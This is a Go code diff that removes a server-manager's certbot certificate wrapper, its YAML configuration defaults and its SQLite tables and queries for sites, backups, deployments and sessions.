||||||
|
|
||||||
// RenewAll renews all certificates managed by certbot that are due for renewal.
|
|
||||||
func (c *Client) RenewAll() (string, error) {
|
|
||||||
if err := c.EnsureCertbotInstalled(); err != nil {
|
|
||||||
return "", fmt.Errorf("renew all: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command("certbot", "renew", "--non-interactive")
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
output := string(out)
|
|
||||||
if err != nil {
|
|
||||||
return output, fmt.Errorf("certbot renew --all failed: %s: %w", strings.TrimSpace(output), err)
|
|
||||||
}
|
|
||||||
return output, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Revoke revokes the certificate for a given domain.
|
|
||||||
func (c *Client) Revoke(domain string) error {
|
|
||||||
if err := validateDomain(domain); err != nil {
|
|
||||||
return fmt.Errorf("revoke: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := c.EnsureCertbotInstalled(); err != nil {
|
|
||||||
return fmt.Errorf("revoke: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command("certbot", "revoke",
|
|
||||||
"--cert-name", domain,
|
|
||||||
"--non-interactive",
|
|
||||||
)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("certbot revoke failed: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// Delete removes a certificate and its renewal configuration from certbot.
|
|
||||||
func (c *Client) Delete(domain string) error {
|
|
||||||
if err := validateDomain(domain); err != nil {
|
|
||||||
return fmt.Errorf("delete: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := c.EnsureCertbotInstalled(); err != nil {
|
|
||||||
return fmt.Errorf("delete: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd := exec.Command("certbot", "delete",
|
|
||||||
"--cert-name", domain,
|
|
||||||
"--non-interactive",
|
|
||||||
)
|
|
||||||
out, err := cmd.CombinedOutput()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("certbot delete failed: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ListCerts scans /etc/letsencrypt/live/ and parses each certificate to return
|
|
||||||
// metadata including expiry dates and issuer information.
|
|
||||||
func (c *Client) ListCerts() ([]CertInfo, error) {
|
|
||||||
liveDir := "/etc/letsencrypt/live"
|
|
||||||
entries, err := os.ReadDir(liveDir)
|
|
||||||
if err != nil {
|
|
||||||
if os.IsNotExist(err) {
|
|
||||||
return nil, nil // No certs directory yet
|
|
||||||
}
|
|
||||||
return nil, fmt.Errorf("list certs: read live dir: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var certs []CertInfo
|
|
||||||
for _, entry := range entries {
|
|
||||||
if !entry.IsDir() {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
domain := entry.Name()
|
|
||||||
// Skip the README directory certbot sometimes creates
|
|
||||||
if domain == "README" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
info, err := c.GetCertInfo(domain)
|
|
||||||
if err != nil {
|
|
||||||
// Log but skip certs we can't parse
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
certs = append(certs, *info)
|
|
||||||
}
|
|
||||||
|
|
||||||
return certs, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetCertInfo reads and parses the X.509 certificate at the standard Let's
|
|
||||||
// Encrypt live path for a domain, returning structured metadata.
|
|
||||||
func (c *Client) GetCertInfo(domain string) (*CertInfo, error) {
|
|
||||||
if err := validateDomain(domain); err != nil {
|
|
||||||
return nil, fmt.Errorf("get cert info: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
liveDir := filepath.Join("/etc/letsencrypt/live", domain)
|
|
||||||
|
|
||||||
certPath := filepath.Join(liveDir, "fullchain.pem")
|
|
||||||
keyPath := filepath.Join(liveDir, "privkey.pem")
|
|
||||||
chainPath := filepath.Join(liveDir, "chain.pem")
|
|
||||||
|
|
||||||
data, err := os.ReadFile(certPath)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("get cert info: read cert: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
block, _ := pem.Decode(data)
|
|
||||||
if block == nil {
|
|
||||||
return nil, fmt.Errorf("get cert info: no PEM block found in %s", certPath)
|
|
||||||
}
|
|
||||||
|
|
||||||
cert, err := x509.ParseCertificate(block.Bytes)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("get cert info: parse x509: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
daysLeft := int(time.Until(cert.NotAfter).Hours() / 24)
|
|
||||||
|
|
||||||
return &CertInfo{
|
|
||||||
Domain: domain,
|
|
||||||
CertPath: certPath,
|
|
||||||
KeyPath: keyPath,
|
|
||||||
ChainPath: chainPath,
|
|
||||||
ExpiresAt: cert.NotAfter,
|
|
||||||
Issuer: cert.Issuer.CommonName,
|
|
||||||
DaysLeft: daysLeft,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// EnsureCertbotInstalled checks whether certbot is available in PATH. If not,
|
|
||||||
// it attempts to install it via apt-get.
|
|
||||||
func (c *Client) EnsureCertbotInstalled() error {
|
|
||||||
if _, err := exec.LookPath("certbot"); err == nil {
|
|
||||||
return nil // Already installed
|
|
||||||
}
|
|
||||||
|
|
||||||
// Attempt to install via apt-get
|
|
||||||
cmd := exec.Command("apt-get", "update", "-qq")
|
|
||||||
if out, err := cmd.CombinedOutput(); err != nil {
|
|
||||||
return fmt.Errorf("apt-get update failed: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
|
|
||||||
cmd = exec.Command("apt-get", "install", "-y", "-qq", "certbot")
|
|
||||||
if out, err := cmd.CombinedOutput(); err != nil {
|
|
||||||
return fmt.Errorf("apt-get install certbot failed: %s: %w", strings.TrimSpace(string(out)), err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Verify installation succeeded
|
|
||||||
if _, err := exec.LookPath("certbot"); err != nil {
|
|
||||||
return fmt.Errorf("certbot still not found after installation attempt")
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GenerateSelfSigned creates a self-signed X.509 certificate and private key
|
|
||||||
// for testing or as a fallback when Let's Encrypt is unavailable.
|
|
||||||
func (c *Client) GenerateSelfSigned(domain, certPath, keyPath string) error {
|
|
||||||
if err := validateDomain(domain); err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Ensure output directories exist
|
|
||||||
if err := os.MkdirAll(filepath.Dir(certPath), 0755); err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: create cert dir: %w", err)
|
|
||||||
}
|
|
||||||
if err := os.MkdirAll(filepath.Dir(keyPath), 0755); err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: create key dir: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Generate ECDSA P-256 private key
|
|
||||||
privKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: generate key: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Build the certificate template
|
|
||||||
serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: serial number: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
notBefore := time.Now()
|
|
||||||
notAfter := notBefore.Add(365 * 24 * time.Hour) // 1 year
|
|
||||||
|
|
||||||
template := x509.Certificate{
|
|
||||||
SerialNumber: serialNumber,
|
|
||||||
Subject: pkix.Name{
|
|
||||||
CommonName: domain,
|
|
||||||
Organization: []string{"Setec Security Labs"},
|
|
||||||
},
|
|
||||||
DNSNames: []string{domain},
|
|
||||||
NotBefore: notBefore,
|
|
||||||
NotAfter: notAfter,
|
|
||||||
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
|
|
||||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
|
||||||
BasicConstraintsValid: true,
|
|
||||||
}
|
|
||||||
|
|
||||||
// Self-sign the certificate
|
|
||||||
certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &privKey.PublicKey, privKey)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: create cert: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Write certificate PEM
|
|
||||||
certFile, err := os.OpenFile(certPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: write cert: %w", err)
|
|
||||||
}
|
|
||||||
defer certFile.Close()
|
|
||||||
|
|
||||||
if err := pem.Encode(certFile, &pem.Block{Type: "CERTIFICATE", Bytes: certDER}); err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: encode cert PEM: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Write private key PEM
|
|
||||||
keyDER, err := x509.MarshalECPrivateKey(privKey)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: marshal key: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
keyFile, err := os.OpenFile(keyPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: write key: %w", err)
|
|
||||||
}
|
|
||||||
defer keyFile.Close()
|
|
||||||
|
|
||||||
if err := pem.Encode(keyFile, &pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER}); err != nil {
|
|
||||||
return fmt.Errorf("generate self-signed: encode key PEM: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@ -1,146 +0,0 @@
|
|||||||
package config
|
|
||||||
|
|
||||||
import (
|
|
||||||
"os"
|
|
||||||
|
|
||||||
"gopkg.in/yaml.v3"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Config struct {
|
|
||||||
Server ServerConfig `yaml:"server"`
|
|
||||||
Database DatabaseConfig `yaml:"database"`
|
|
||||||
Nginx NginxConfig `yaml:"nginx"`
|
|
||||||
ACME ACMEConfig `yaml:"acme"`
|
|
||||||
Autarch AutarchConfig `yaml:"autarch"`
|
|
||||||
Float FloatConfig `yaml:"float"`
|
|
||||||
Backups BackupsConfig `yaml:"backups"`
|
|
||||||
Logging LoggingConfig `yaml:"logging"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type ServerConfig struct {
|
|
||||||
Host string `yaml:"host"`
|
|
||||||
Port int `yaml:"port"`
|
|
||||||
TLS bool `yaml:"tls"`
|
|
||||||
Cert string `yaml:"cert"`
|
|
||||||
Key string `yaml:"key"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type DatabaseConfig struct {
|
|
||||||
Path string `yaml:"path"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type NginxConfig struct {
|
|
||||||
SitesAvailable string `yaml:"sites_available"`
|
|
||||||
SitesEnabled string `yaml:"sites_enabled"`
|
|
||||||
Snippets string `yaml:"snippets"`
|
|
||||||
Webroot string `yaml:"webroot"`
|
|
||||||
CertbotWebroot string `yaml:"certbot_webroot"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type ACMEConfig struct {
|
|
||||||
Email string `yaml:"email"`
|
|
||||||
Staging bool `yaml:"staging"`
|
|
||||||
AccountDir string `yaml:"account_dir"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type AutarchConfig struct {
|
|
||||||
InstallDir string `yaml:"install_dir"`
|
|
||||||
GitRepo string `yaml:"git_repo"`
|
|
||||||
GitBranch string `yaml:"git_branch"`
|
|
||||||
WebPort int `yaml:"web_port"`
|
|
||||||
DNSPort int `yaml:"dns_port"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type FloatConfig struct {
|
|
||||||
Enabled bool `yaml:"enabled"`
|
|
||||||
MaxSessions int `yaml:"max_sessions"`
|
|
||||||
SessionTTL string `yaml:"session_ttl"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type BackupsConfig struct {
|
|
||||||
Dir string `yaml:"dir"`
|
|
||||||
MaxAgeDays int `yaml:"max_age_days"`
|
|
||||||
MaxCount int `yaml:"max_count"`
|
|
||||||
}
|
|
||||||
|
|
||||||
type LoggingConfig struct {
|
|
||||||
Level string `yaml:"level"`
|
|
||||||
File string `yaml:"file"`
|
|
||||||
MaxSizeMB int `yaml:"max_size_mb"`
|
|
||||||
MaxBackups int `yaml:"max_backups"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func DefaultConfig() *Config {
|
|
||||||
return &Config{
|
|
||||||
Server: ServerConfig{
|
|
||||||
Host: "0.0.0.0",
|
|
||||||
Port: 9090,
|
|
||||||
TLS: true,
|
|
||||||
Cert: "/opt/setec-manager/data/acme/manager.crt",
|
|
||||||
Key: "/opt/setec-manager/data/acme/manager.key",
|
|
||||||
},
|
|
||||||
Database: DatabaseConfig{
|
|
||||||
Path: "/opt/setec-manager/data/setec.db",
|
|
||||||
},
|
|
||||||
Nginx: NginxConfig{
|
|
||||||
SitesAvailable: "/etc/nginx/sites-available",
|
|
||||||
SitesEnabled: "/etc/nginx/sites-enabled",
|
|
||||||
Snippets: "/etc/nginx/snippets",
|
|
||||||
Webroot: "/var/www",
|
|
||||||
CertbotWebroot: "/var/www/certbot",
|
|
||||||
},
|
|
||||||
ACME: ACMEConfig{
|
|
||||||
Email: "",
|
|
||||||
Staging: false,
|
|
||||||
AccountDir: "/opt/setec-manager/data/acme",
|
|
||||||
},
|
|
||||||
Autarch: AutarchConfig{
|
|
||||||
InstallDir: "/var/www/autarch",
|
|
||||||
GitRepo: "https://github.com/DigijEth/autarch.git",
|
|
||||||
GitBranch: "main",
|
|
||||||
WebPort: 8181,
|
|
||||||
DNSPort: 53,
|
|
||||||
},
|
|
||||||
Float: FloatConfig{
|
|
||||||
Enabled: false,
|
|
||||||
MaxSessions: 10,
|
|
||||||
SessionTTL: "24h",
|
|
||||||
},
|
|
||||||
Backups: BackupsConfig{
|
|
||||||
Dir: "/opt/setec-manager/data/backups",
|
|
||||||
MaxAgeDays: 30,
|
|
||||||
MaxCount: 50,
|
|
||||||
},
|
|
||||||
Logging: LoggingConfig{
|
|
||||||
Level: "info",
|
|
||||||
File: "/var/log/setec-manager.log",
|
|
||||||
MaxSizeMB: 100,
|
|
||||||
MaxBackups: 3,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func Load(path string) (*Config, error) {
|
|
||||||
cfg := DefaultConfig()
|
|
||||||
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
|
||||||
if os.IsNotExist(err) {
|
|
||||||
return cfg, nil
|
|
||||||
}
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
if err := yaml.Unmarshal(data, cfg); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return cfg, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c *Config) Save(path string) error {
|
|
||||||
data, err := yaml.Marshal(c)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
return os.WriteFile(path, data, 0600)
|
|
||||||
}
|
|
||||||
@ -1,46 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
type Backup struct {
|
|
||||||
ID int64 `json:"id"`
|
|
||||||
SiteID *int64 `json:"site_id"`
|
|
||||||
BackupType string `json:"backup_type"`
|
|
||||||
FilePath string `json:"file_path"`
|
|
||||||
SizeBytes int64 `json:"size_bytes"`
|
|
||||||
CreatedAt time.Time `json:"created_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) CreateBackup(siteID *int64, backupType, filePath string, sizeBytes int64) (int64, error) {
|
|
||||||
result, err := d.conn.Exec(`INSERT INTO backups (site_id, backup_type, file_path, size_bytes)
|
|
||||||
VALUES (?, ?, ?, ?)`, siteID, backupType, filePath, sizeBytes)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
return result.LastInsertId()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) ListBackups() ([]Backup, error) {
|
|
||||||
rows, err := d.conn.Query(`SELECT id, site_id, backup_type, file_path, size_bytes, created_at
|
|
||||||
FROM backups ORDER BY id DESC`)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
|
|
||||||
var backups []Backup
|
|
||||||
for rows.Next() {
|
|
||||||
var b Backup
|
|
||||||
if err := rows.Scan(&b.ID, &b.SiteID, &b.BackupType, &b.FilePath,
|
|
||||||
&b.SizeBytes, &b.CreatedAt); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
backups = append(backups, b)
|
|
||||||
}
|
|
||||||
return backups, rows.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) DeleteBackup(id int64) error {
|
|
||||||
_, err := d.conn.Exec(`DELETE FROM backups WHERE id=?`, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
@ -1,163 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import (
|
|
||||||
"database/sql"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
|
|
||||||
_ "modernc.org/sqlite"
|
|
||||||
)
|
|
||||||
|
|
||||||
type DB struct {
|
|
||||||
conn *sql.DB
|
|
||||||
}
|
|
||||||
|
|
||||||
func Open(path string) (*DB, error) {
|
|
||||||
// Ensure directory exists
|
|
||||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
||||||
return nil, fmt.Errorf("create db dir: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
conn, err := sql.Open("sqlite", path+"?_journal_mode=WAL&_busy_timeout=5000")
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("open database: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
conn.SetMaxOpenConns(1) // SQLite single-writer
|
|
||||||
|
|
||||||
db := &DB{conn: conn}
|
|
||||||
if err := db.migrate(); err != nil {
|
|
||||||
conn.Close()
|
|
||||||
return nil, fmt.Errorf("migrate: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
return db, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) Close() error {
|
|
||||||
return d.conn.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) Conn() *sql.DB {
|
|
||||||
return d.conn
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) migrate() error {
|
|
||||||
migrations := []string{
|
|
||||||
migrateSites,
|
|
||||||
migrateSystemUsers,
|
|
||||||
migrateManagerUsers,
|
|
||||||
migrateDeployments,
|
|
||||||
migrateCronJobs,
|
|
||||||
migrateFirewallRules,
|
|
||||||
migrateFloatSessions,
|
|
||||||
migrateBackups,
|
|
||||||
migrateAuditLog,
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, m := range migrations {
|
|
||||||
if _, err := d.conn.Exec(m); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
const migrateSites = `CREATE TABLE IF NOT EXISTS sites (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
domain TEXT NOT NULL UNIQUE,
|
|
||||||
aliases TEXT DEFAULT '',
|
|
||||||
app_type TEXT NOT NULL DEFAULT 'static',
|
|
||||||
app_root TEXT NOT NULL,
|
|
||||||
app_port INTEGER DEFAULT 0,
|
|
||||||
app_entry TEXT DEFAULT '',
|
|
||||||
git_repo TEXT DEFAULT '',
|
|
||||||
git_branch TEXT DEFAULT 'main',
|
|
||||||
ssl_enabled BOOLEAN DEFAULT FALSE,
|
|
||||||
ssl_cert_path TEXT DEFAULT '',
|
|
||||||
ssl_key_path TEXT DEFAULT '',
|
|
||||||
ssl_auto BOOLEAN DEFAULT TRUE,
|
|
||||||
enabled BOOLEAN DEFAULT TRUE,
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateSystemUsers = `CREATE TABLE IF NOT EXISTS system_users (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
username TEXT NOT NULL UNIQUE,
|
|
||||||
uid INTEGER,
|
|
||||||
home_dir TEXT,
|
|
||||||
shell TEXT DEFAULT '/bin/bash',
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateManagerUsers = `CREATE TABLE IF NOT EXISTS manager_users (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
username TEXT NOT NULL UNIQUE,
|
|
||||||
password_hash TEXT NOT NULL,
|
|
||||||
role TEXT DEFAULT 'admin',
|
|
||||||
force_change BOOLEAN DEFAULT FALSE,
|
|
||||||
last_login DATETIME,
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateDeployments = `CREATE TABLE IF NOT EXISTS deployments (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
site_id INTEGER REFERENCES sites(id),
|
|
||||||
action TEXT NOT NULL,
|
|
||||||
status TEXT DEFAULT 'pending',
|
|
||||||
output TEXT DEFAULT '',
|
|
||||||
started_at DATETIME,
|
|
||||||
finished_at DATETIME
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateCronJobs = `CREATE TABLE IF NOT EXISTS cron_jobs (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
site_id INTEGER REFERENCES sites(id),
|
|
||||||
job_type TEXT NOT NULL,
|
|
||||||
schedule TEXT NOT NULL,
|
|
||||||
enabled BOOLEAN DEFAULT TRUE,
|
|
||||||
last_run DATETIME,
|
|
||||||
next_run DATETIME
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateFirewallRules = `CREATE TABLE IF NOT EXISTS firewall_rules (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
direction TEXT DEFAULT 'in',
|
|
||||||
protocol TEXT DEFAULT 'tcp',
|
|
||||||
port TEXT NOT NULL,
|
|
||||||
source TEXT DEFAULT 'any',
|
|
||||||
action TEXT DEFAULT 'allow',
|
|
||||||
comment TEXT DEFAULT '',
|
|
||||||
enabled BOOLEAN DEFAULT TRUE
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateFloatSessions = `CREATE TABLE IF NOT EXISTS float_sessions (
|
|
||||||
id TEXT PRIMARY KEY,
|
|
||||||
user_id INTEGER REFERENCES manager_users(id),
|
|
||||||
client_ip TEXT,
|
|
||||||
client_agent TEXT,
|
|
||||||
usb_bridge BOOLEAN DEFAULT FALSE,
|
|
||||||
connected_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
last_ping DATETIME,
|
|
||||||
expires_at DATETIME
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateAuditLog = `CREATE TABLE IF NOT EXISTS audit_log (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
username TEXT NOT NULL,
|
|
||||||
ip TEXT,
|
|
||||||
action TEXT NOT NULL,
|
|
||||||
detail TEXT DEFAULT '',
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);`
|
|
||||||
|
|
||||||
const migrateBackups = `CREATE TABLE IF NOT EXISTS backups (
|
|
||||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
||||||
site_id INTEGER REFERENCES sites(id),
|
|
||||||
backup_type TEXT DEFAULT 'site',
|
|
||||||
file_path TEXT NOT NULL,
|
|
||||||
size_bytes INTEGER DEFAULT 0,
|
|
||||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
|
||||||
);`
|
|
||||||
@ -1,60 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
type Deployment struct {
|
|
||||||
ID int64 `json:"id"`
|
|
||||||
SiteID *int64 `json:"site_id"`
|
|
||||||
Action string `json:"action"`
|
|
||||||
Status string `json:"status"`
|
|
||||||
Output string `json:"output"`
|
|
||||||
StartedAt *time.Time `json:"started_at"`
|
|
||||||
FinishedAt *time.Time `json:"finished_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) CreateDeployment(siteID *int64, action string) (int64, error) {
|
|
||||||
result, err := d.conn.Exec(`INSERT INTO deployments (site_id, action, status, started_at)
|
|
||||||
VALUES (?, ?, 'running', CURRENT_TIMESTAMP)`, siteID, action)
|
|
||||||
if err != nil {
|
|
||||||
return 0, err
|
|
||||||
}
|
|
||||||
return result.LastInsertId()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) FinishDeployment(id int64, status, output string) error {
|
|
||||||
_, err := d.conn.Exec(`UPDATE deployments SET status=?, output=?, finished_at=CURRENT_TIMESTAMP
|
|
||||||
WHERE id=?`, status, output, id)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) ListDeployments(siteID *int64, limit int) ([]Deployment, error) {
|
|
||||||
var rows_query string
|
|
||||||
var args []interface{}
|
|
||||||
|
|
||||||
if siteID != nil {
|
|
||||||
rows_query = `SELECT id, site_id, action, status, output, started_at, finished_at
|
|
||||||
FROM deployments WHERE site_id=? ORDER BY id DESC LIMIT ?`
|
|
||||||
args = []interface{}{*siteID, limit}
|
|
||||||
} else {
|
|
||||||
rows_query = `SELECT id, site_id, action, status, output, started_at, finished_at
|
|
||||||
FROM deployments ORDER BY id DESC LIMIT ?`
|
|
||||||
args = []interface{}{limit}
|
|
||||||
}
|
|
||||||
|
|
||||||
rows, err := d.conn.Query(rows_query, args...)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
|
|
||||||
var deps []Deployment
|
|
||||||
for rows.Next() {
|
|
||||||
var dep Deployment
|
|
||||||
if err := rows.Scan(&dep.ID, &dep.SiteID, &dep.Action, &dep.Status,
|
|
||||||
&dep.Output, &dep.StartedAt, &dep.FinishedAt); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
deps = append(deps, dep)
|
|
||||||
}
|
|
||||||
return deps, rows.Err()
|
|
||||||
}
|
|
||||||
@ -1,70 +0,0 @@
|
|||||||
package db
|
|
||||||
|
|
||||||
import "time"
|
|
||||||
|
|
||||||
type FloatSession struct {
|
|
||||||
ID string `json:"id"`
|
|
||||||
UserID int64 `json:"user_id"`
|
|
||||||
ClientIP string `json:"client_ip"`
|
|
||||||
ClientAgent string `json:"client_agent"`
|
|
||||||
USBBridge bool `json:"usb_bridge"`
|
|
||||||
ConnectedAt time.Time `json:"connected_at"`
|
|
||||||
LastPing *time.Time `json:"last_ping"`
|
|
||||||
ExpiresAt time.Time `json:"expires_at"`
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) CreateFloatSession(id string, userID int64, clientIP, agent string, expiresAt time.Time) error {
|
|
||||||
_, err := d.conn.Exec(`INSERT INTO float_sessions (id, user_id, client_ip, client_agent, expires_at)
|
|
||||||
VALUES (?, ?, ?, ?, ?)`, id, userID, clientIP, agent, expiresAt)
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) GetFloatSession(id string) (*FloatSession, error) {
|
|
||||||
var s FloatSession
|
|
||||||
err := d.conn.QueryRow(`SELECT id, user_id, client_ip, client_agent, usb_bridge,
|
|
||||||
connected_at, last_ping, expires_at FROM float_sessions WHERE id=?`, id).
|
|
||||||
Scan(&s.ID, &s.UserID, &s.ClientIP, &s.ClientAgent, &s.USBBridge,
|
|
||||||
&s.ConnectedAt, &s.LastPing, &s.ExpiresAt)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return &s, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) ListFloatSessions() ([]FloatSession, error) {
|
|
||||||
rows, err := d.conn.Query(`SELECT id, user_id, client_ip, client_agent, usb_bridge,
|
|
||||||
connected_at, last_ping, expires_at FROM float_sessions ORDER BY connected_at DESC`)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer rows.Close()
|
|
||||||
|
|
||||||
var sessions []FloatSession
|
|
||||||
for rows.Next() {
|
|
||||||
var s FloatSession
|
|
||||||
if err := rows.Scan(&s.ID, &s.UserID, &s.ClientIP, &s.ClientAgent, &s.USBBridge,
|
|
||||||
&s.ConnectedAt, &s.LastPing, &s.ExpiresAt); err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
sessions = append(sessions, s)
|
|
||||||
}
|
|
||||||
return sessions, rows.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (d *DB) DeleteFloatSession(id string) error {
|
|
||||||
_, err := d.conn.Exec(`DELETE FROM float_sessions WHERE id=?`, id)
|
|
||||||
return err
|
|
||||||
}
|
|
